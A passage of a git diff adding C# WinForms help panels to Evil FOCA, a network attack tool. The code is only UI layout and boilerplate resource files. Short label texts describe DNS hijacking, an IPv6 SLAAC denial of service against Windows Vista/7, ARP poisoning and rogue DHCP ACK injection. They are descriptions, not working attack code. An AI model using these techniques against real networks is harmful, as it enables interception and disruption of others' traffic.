initialWidth = 0; + + public ControlHelp() + { + InitializeComponent(); + } + + private void ControlHelp_Load(object sender, EventArgs e) + { + if (!Program.runtime) + return; + + initialWidth = Program.formMain.splitContainerHelp.SplitterDistance; + + Default.PanelHelpDefault defaultPanel = new Default.PanelHelpDefault(); + AddControl(defaultPanel); + } + + private void cbHide_CheckedChanged(object sender, EventArgs e) + { + if (cbHide.Checked) + { + Program.formMain.splitContainerHelp.SplitterDistance = Program.formMain.splitContainerHelp.Size.Width + 660; + cbHide.Text = "<\r\n\r\n<\r\n\r\n<\r\n\r\n<"; + } + else + { + Program.formMain.splitContainerHelp.SplitterDistance = initialWidth; + cbHide.Text = ">\r\n\r\n>\r\n\r\n>\r\n\r\n>"; + } + } + + public void ClearControls() + { + for (int i = Displayer.Controls.Count - 1; i >= 0; i--) + { + Control c = Displayer.Controls[i]; + if (!(c is CheckBox)) + Displayer.Controls.Remove(c); + } + } + + public void AddControl(Control c) + { + ClearControls(); + Displayer.Controls.Add(c); + c.Dock = DockStyle.Fill; + } + } +} diff --git a/EvilFoca/ControlHelp/ControlHelp.resx b/EvilFoca/ControlHelp/ControlHelp.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/EvilFoca/ControlHelp/ControlHelp.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/EvilFoca/ControlHelp/DNSHijack/PanelDNSHijack.Designer.cs b/EvilFoca/ControlHelp/DNSHijack/PanelDNSHijack.Designer.cs new file mode 100644 index 0000000..51af64f --- /dev/null +++ b/EvilFoca/ControlHelp/DNSHijack/PanelDNSHijack.Designer.cs @@ -0,0 +1,93 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +namespace evilfoca.ControlHelp.DNSHijack +{ + partial class PanelDNSHijack + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(PanelDNSHijack)); + this.label2 = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); + this.SuspendLayout(); + // + // label2 + // + this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label2.Location = new System.Drawing.Point(2, 36); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(127, 181); + this.label2.TabIndex = 5; + this.label2.Text = resources.GetString("label2.Text"); + // + // label1 + // + this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 6.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label1.Location = new System.Drawing.Point(0, 0); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(129, 26); + this.label1.TabIndex = 4; + this.label1.Text = "DNS Hijack"; + this.label1.TextAlign = System.Drawing.ContentAlignment.TopCenter; + // + // PanelDNSHijack + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.label2); + this.Controls.Add(this.label1); + this.Name = "PanelDNSHijack"; + this.Size = new System.Drawing.Size(129, 217); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label label1; + } +} diff --git a/EvilFoca/ControlHelp/DNSHijack/PanelDNSHijack.cs b/EvilFoca/ControlHelp/DNSHijack/PanelDNSHijack.cs new file mode 100644 index 0000000..6a6d8f7 --- /dev/null +++ b/EvilFoca/ControlHelp/DNSHijack/PanelDNSHijack.cs @@ -0,0 +1,36 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Linq; +using System.Text; +using System.Windows.Forms; + +namespace evilfoca.ControlHelp.DNSHijack +{ + public partial class PanelDNSHijack : UserControl + { + public PanelDNSHijack() + { + InitializeComponent(); + } + } +} diff --git a/EvilFoca/ControlHelp/DNSHijack/PanelDNSHijack.resx b/EvilFoca/ControlHelp/DNSHijack/PanelDNSHijack.resx new file mode 100644 index 0000000..d2c998e --- /dev/null +++ b/EvilFoca/ControlHelp/DNSHijack/PanelDNSHijack.resx @@ -0,0 +1,125 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + - DNS hijacking or DNS redirection is the practice of redirecting the resolution of Domain Name System (DNS) names to other DNS servers. + +- A Man In The Middle attack is required to perform a DNS Hijack. + + \ No newline at end of file diff --git a/EvilFoca/ControlHelp/Default/PanelHelpDefault.Designer.cs b/EvilFoca/ControlHelp/Default/PanelHelpDefault.Designer.cs new file mode 100644 index 0000000..0d1fe80 --- /dev/null +++ b/EvilFoca/ControlHelp/Default/PanelHelpDefault.Designer.cs @@ -0,0 +1,77 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +namespace evilfoca.ControlHelp.Default +{ + partial class PanelHelpDefault + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.pictureBox1 = new System.Windows.Forms.PictureBox(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); + this.SuspendLayout(); + // + // pictureBox1 + // + this.pictureBox1.Image = global::evilfoca.Properties.Resources.EvilFoca; + this.pictureBox1.Location = new System.Drawing.Point(0, 3); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new System.Drawing.Size(140, 135); + this.pictureBox1.TabIndex = 0; + this.pictureBox1.TabStop = false; + // + // PanelHelpDefault + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.pictureBox1); + this.Name = "PanelHelpDefault"; + this.Size = new System.Drawing.Size(141, 210); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.PictureBox pictureBox1; + } +} diff --git a/EvilFoca/ControlHelp/Default/PanelHelpDefault.cs b/EvilFoca/ControlHelp/Default/PanelHelpDefault.cs new file mode 100644 index 0000000..1a9b8d0 --- /dev/null +++ b/EvilFoca/ControlHelp/Default/PanelHelpDefault.cs @@ -0,0 +1,36 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Linq; +using System.Text; +using System.Windows.Forms; + +namespace evilfoca.ControlHelp.Default +{ + public partial class PanelHelpDefault : UserControl + { + public PanelHelpDefault() + { + InitializeComponent(); + } + } +} diff --git a/EvilFoca/ControlHelp/Default/PanelHelpDefault.resx b/EvilFoca/ControlHelp/Default/PanelHelpDefault.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/EvilFoca/ControlHelp/Default/PanelHelpDefault.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/EvilFoca/ControlHelp/DoSIPV6/SLAAC/PanelDoSSlaac.Designer.cs b/EvilFoca/ControlHelp/DoSIPV6/SLAAC/PanelDoSSlaac.Designer.cs new file mode 100644 index 0000000..39942ef --- /dev/null +++ b/EvilFoca/ControlHelp/DoSIPV6/SLAAC/PanelDoSSlaac.Designer.cs @@ -0,0 +1,94 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +namespace evilfoca.ControlHelp.DoSIPV6.SLAAC +{ + partial class PanelDoSSlaac + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.SuspendLayout(); + // + // label1 + // + this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 6.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label1.Location = new System.Drawing.Point(0, 0); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(129, 26); + this.label1.TabIndex = 4; + this.label1.Text = "DoS SLAAC"; + this.label1.TextAlign = System.Drawing.ContentAlignment.TopCenter; + // + // label2 + // + this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label2.Location = new System.Drawing.Point(2, 36); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(127, 181); + this.label2.TabIndex = 7; + this.label2.Text = "- Windows Vista and Windows 7 are vulnerable to this attack. It consumes 100% of " + + "CPU creating network adapters through SLAAC protocol until the computer is compl" + + "etely frozen."; + // + // PanelDoSSlaac + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.label2); + this.Controls.Add(this.label1); + this.Name = "PanelDoSSlaac"; + this.Size = new System.Drawing.Size(129, 217); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + } +} diff --git a/EvilFoca/ControlHelp/DoSIPV6/SLAAC/PanelDoSSlaac.cs b/EvilFoca/ControlHelp/DoSIPV6/SLAAC/PanelDoSSlaac.cs new file mode 100644 index 0000000..5b3db3a --- /dev/null +++ b/EvilFoca/ControlHelp/DoSIPV6/SLAAC/PanelDoSSlaac.cs @@ -0,0 +1,36 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Linq; +using System.Text; +using System.Windows.Forms; + +namespace evilfoca.ControlHelp.DoSIPV6.SLAAC +{ + public partial class PanelDoSSlaac : UserControl + { + public PanelDoSSlaac() + { + InitializeComponent(); + } + } +} diff --git a/EvilFoca/ControlHelp/DoSIPV6/SLAAC/PanelDoSSlaac.resx b/EvilFoca/ControlHelp/DoSIPV6/SLAAC/PanelDoSSlaac.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/EvilFoca/ControlHelp/DoSIPV6/SLAAC/PanelDoSSlaac.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/EvilFoca/ControlHelp/DoSIpv4/InvalidMACSpoof/PanelInvalidMac.Designer.cs b/EvilFoca/ControlHelp/DoSIpv4/InvalidMACSpoof/PanelInvalidMac.Designer.cs new file mode 100644 index 0000000..0cc9612 --- /dev/null +++ b/EvilFoca/ControlHelp/DoSIpv4/InvalidMACSpoof/PanelInvalidMac.Designer.cs @@ -0,0 +1,93 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +namespace evilfoca.ControlHelp.DoSIpv4.InvalidMACSpoof +{ + partial class PanelInvalidMac + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.SuspendLayout(); + // + // label1 + // + this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 6.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label1.Location = new System.Drawing.Point(0, 0); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(129, 26); + this.label1.TabIndex = 4; + this.label1.Text = "Invalid MAC Spoofing"; + this.label1.TextAlign = System.Drawing.ContentAlignment.TopCenter; + // + // label2 + // + this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label2.Location = new System.Drawing.Point(2, 36); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(127, 181); + this.label2.TabIndex = 7; + this.label2.Text = "- It assigns an invalid MAC address to an IP poisoning its ARP cache, so the targ" + + "et will lose the comunication with an arbitrary computer."; + // + // PanelInvalidMac + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.label2); + this.Controls.Add(this.label1); + this.Name = "PanelInvalidMac"; + this.Size = new System.Drawing.Size(129, 217); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + } +} diff --git a/EvilFoca/ControlHelp/DoSIpv4/InvalidMACSpoof/PanelInvalidMac.cs b/EvilFoca/ControlHelp/DoSIpv4/InvalidMACSpoof/PanelInvalidMac.cs new file mode 100644 index 0000000..a338a36 --- /dev/null +++ b/EvilFoca/ControlHelp/DoSIpv4/InvalidMACSpoof/PanelInvalidMac.cs @@ -0,0 +1,36 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Linq; +using System.Text; +using System.Windows.Forms; + +namespace evilfoca.ControlHelp.DoSIpv4.InvalidMACSpoof +{ + public partial class PanelInvalidMac : UserControl + { + public PanelInvalidMac() + { + InitializeComponent(); + } + } +} diff --git a/EvilFoca/ControlHelp/DoSIpv4/InvalidMACSpoof/PanelInvalidMac.resx b/EvilFoca/ControlHelp/DoSIpv4/InvalidMACSpoof/PanelInvalidMac.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/EvilFoca/ControlHelp/DoSIpv4/InvalidMACSpoof/PanelInvalidMac.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/EvilFoca/ControlHelp/MITMIpv4/ArpSpoofing/PanelArpSpoof.Designer.cs b/EvilFoca/ControlHelp/MITMIpv4/ArpSpoofing/PanelArpSpoof.Designer.cs new file mode 100644 index 0000000..f1c3656 --- /dev/null +++ b/EvilFoca/ControlHelp/MITMIpv4/ArpSpoofing/PanelArpSpoof.Designer.cs @@ -0,0 +1,93 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +namespace evilfoca.ControlHelp.MITMIpv4.ArpSpoofing +{ + partial class PanelArpSpoof + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.SuspendLayout(); + // + // label1 + // + this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 6.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label1.Location = new System.Drawing.Point(0, 0); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(129, 26); + this.label1.TabIndex = 2; + this.label1.Text = "ARP Poisoning"; + this.label1.TextAlign = System.Drawing.ContentAlignment.TopCenter; + // + // label2 + // + this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label2.Location = new System.Drawing.Point(2, 36); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(127, 181); + this.label2.TabIndex = 7; + this.label2.Text = "- The attacker sends to their victims fake ARP packets in order to cause that any" + + " traffic goes through your IP address."; + // + // PanelArpSpoof + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.label2); + this.Controls.Add(this.label1); + this.Name = "PanelArpSpoof"; + this.Size = new System.Drawing.Size(129, 217); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + } +} diff --git a/EvilFoca/ControlHelp/MITMIpv4/ArpSpoofing/PanelArpSpoof.cs b/EvilFoca/ControlHelp/MITMIpv4/ArpSpoofing/PanelArpSpoof.cs new file mode 100644 index 0000000..d35031c --- /dev/null +++ b/EvilFoca/ControlHelp/MITMIpv4/ArpSpoofing/PanelArpSpoof.cs @@ -0,0 +1,36 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Linq; +using System.Text; +using System.Windows.Forms; + +namespace evilfoca.ControlHelp.MITMIpv4.ArpSpoofing +{ + public partial class PanelArpSpoof : UserControl + { + public PanelArpSpoof() + { + InitializeComponent(); + } + } +} diff --git a/EvilFoca/ControlHelp/MITMIpv4/ArpSpoofing/PanelArpSpoof.resx b/EvilFoca/ControlHelp/MITMIpv4/ArpSpoofing/PanelArpSpoof.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/EvilFoca/ControlHelp/MITMIpv4/ArpSpoofing/PanelArpSpoof.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/EvilFoca/ControlHelp/MITMIpv4/DHCP ACK Injection/PanelDHCPACKInject.cs b/EvilFoca/ControlHelp/MITMIpv4/DHCP ACK Injection/PanelDHCPACKInject.cs new file mode 100644 index 0000000..602183e --- /dev/null +++ b/EvilFoca/ControlHelp/MITMIpv4/DHCP ACK Injection/PanelDHCPACKInject.cs @@ -0,0 +1,36 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Linq; +using System.Text; +using System.Windows.Forms; + +namespace evilfoca.ControlHelp.MITMIpv4.DHCP_ACK_Injection +{ + public partial class PanelDHCPAckInjection : UserControl + { + public PanelDHCPAckInjection() + { + InitializeComponent(); + } + } +} diff --git a/EvilFoca/ControlHelp/MITMIpv4/DHCP ACK Injection/UserControl1.Designer.cs b/EvilFoca/ControlHelp/MITMIpv4/DHCP ACK Injection/UserControl1.Designer.cs new file mode 100644 index 0000000..da703c9 --- /dev/null +++ b/EvilFoca/ControlHelp/MITMIpv4/DHCP ACK Injection/UserControl1.Designer.cs @@ -0,0 +1,94 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +namespace evilfoca.ControlHelp.MITMIpv4.DHCP_ACK_Injection +{ + partial class PanelDHCPAckInjection + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.SuspendLayout(); + // + // label1 + // + this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 6.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label1.Location = new System.Drawing.Point(0, 0); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(129, 26); + this.label1.TabIndex = 4; + this.label1.Text = "DHCP ACK Injection"; + this.label1.TextAlign = System.Drawing.ContentAlignment.TopCenter; + // + // label2 + // + this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label2.Location = new System.Drawing.Point(2, 36); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(127, 181); + this.label2.TabIndex = 7; + this.label2.Text = "- This computer acts as a rogue DHCP server, configuring the clients to connect t" + + "o your IP address as gateway."; + // + // PanelDHCPAckInjection + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.label2); + this.Controls.Add(this.label1); + this.Name = "PanelDHCPAckInjection"; + this.Size = new System.Drawing.Size(129, 217); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + + } +} diff --git 